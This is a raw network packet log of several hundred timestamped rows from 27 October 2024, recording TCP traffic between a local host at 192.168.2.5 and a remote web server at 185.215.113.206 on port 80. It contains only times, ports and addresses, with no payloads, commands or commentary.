Oct 27, 2024 17:54:12.173124075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173182964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173204899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173233032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173249960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.173257113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173290014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173296928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.173307896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173337936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173351049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.173357964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173377037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173382998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.173407078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173415899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.173427105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173446894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173466921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.173466921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.173494101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.173520088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.174098015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.174133062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.174153090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.174174070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.174174070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.174209118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.174249887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.174536943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.174552917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.174573898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.174595118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.174612045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.174613953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.174642086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.174680948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.213468075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.213495016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.213526011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.213545084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.213555098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.213565111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.213584900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.213601112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.213608980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.213675976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.242327929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.242398024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.242419004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.242439985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.242444038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.242460012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.242480993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.242486954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.242541075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.246812105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.246834040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.246855021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.246874094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.246887922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.246895075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.246916056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.246958971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.246997118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.247586012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.247615099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.247637033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.247643948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.247656107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.247669935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.247678995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.247703075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.247745037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600356102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600428104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600430012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600469112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600491047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600503922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600514889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600547075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600549936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600595951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600617886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600653887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600665092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600687981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600697994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600723028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600733995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600759983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600768089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600795031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600805044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600827932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600843906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600862026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600873947 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600897074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600907087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600939035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600949049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.600995064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.600982904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601036072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601047993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601073027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601082087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601115942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601124048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601160049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601170063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601193905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601206064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601227045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601241112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601260900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601269960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601294994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601305008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601330042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601340055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601358891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601378918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601387978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601406097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601422071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601423979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601455927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601466894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601484060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601501942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601517916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601535082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601556063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601562977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601588964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601599932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601622105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601630926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601656914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601665020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601691008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601703882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601722956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601731062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601757050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601766109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601788998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601800919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601823092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601836920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601855993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601866007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601888895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601900101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601921082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601926088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601953983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.601962090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.601986885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.602000952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.602020979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.602035046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.602049112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.602066040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.602082014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.602088928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.602117062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.602128029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.602149963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.602161884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.602183104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.602191925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.602216959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.602227926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.602255106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.602260113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.602296114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.608016014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.608051062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.608079910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.608104944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.608107090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.608139038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.608144999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.608175039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.608182907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.608208895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.608217955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.608258009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.608443022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.608485937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.608541965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.608587027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.608592987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.608628988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.608655930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.608664989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.608674049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.608710051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.608727932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.608773947 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.608951092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.609004974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.609025002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.609050035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.609061003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.609098911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.609113932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.609143972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.609293938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.609328985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.609354973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.609365940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.609469891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.609539986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.609601974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.609637022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.609656096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.609684944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.609731913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.609777927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.609869957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.609904051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.609915018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.609961033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.609972954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.610007048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.610014915 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.610042095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.610049963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.610086918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.610409021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.610441923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.610476017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.610476017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.610496044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.610543013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.610544920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.610579967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.610593081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.610613108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.610616922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.610646963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.610656977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.610681057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.610693932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.610717058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.610723019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.610761881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.611293077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.611351013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.611438990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.611490011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.611490011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.611524105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.611538887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.611557007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.611565113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.611593008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.611601114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.611625910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.611637115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.611660957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.611670017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.611694098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.611700058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.611738920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.612413883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.612447977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.612473965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.612482071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.612493038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.612514973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.612525940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.612550020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.612582922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.612586975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.612608910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.612617016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.612639904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.612649918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.612684011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.612690926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.612737894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.613204956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.613255978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.613255978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.613296032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.613306999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.613341093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.613353014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.613375902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.613387108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.613409996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.613420963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.613445997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.613456011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.613487959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.613490105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.613523006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.613534927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.613567114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.614152908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.614187002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.614207983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.614222050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.614239931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.614269972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.614273071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.614306927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.614310980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.614341021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.614351988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.614376068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.614387035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.614428997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.614661932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.614713907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.614727974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.614758968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.614980936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.615015984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.615031958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.615060091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.615070105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.615114927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.615119934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.615155935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.615164995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.615189075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.615197897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.615223885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.615242004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.615256071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.615276098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:12.615292072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:12.615303040 CET	49704	80	192.168.2.5	185.215.113.206
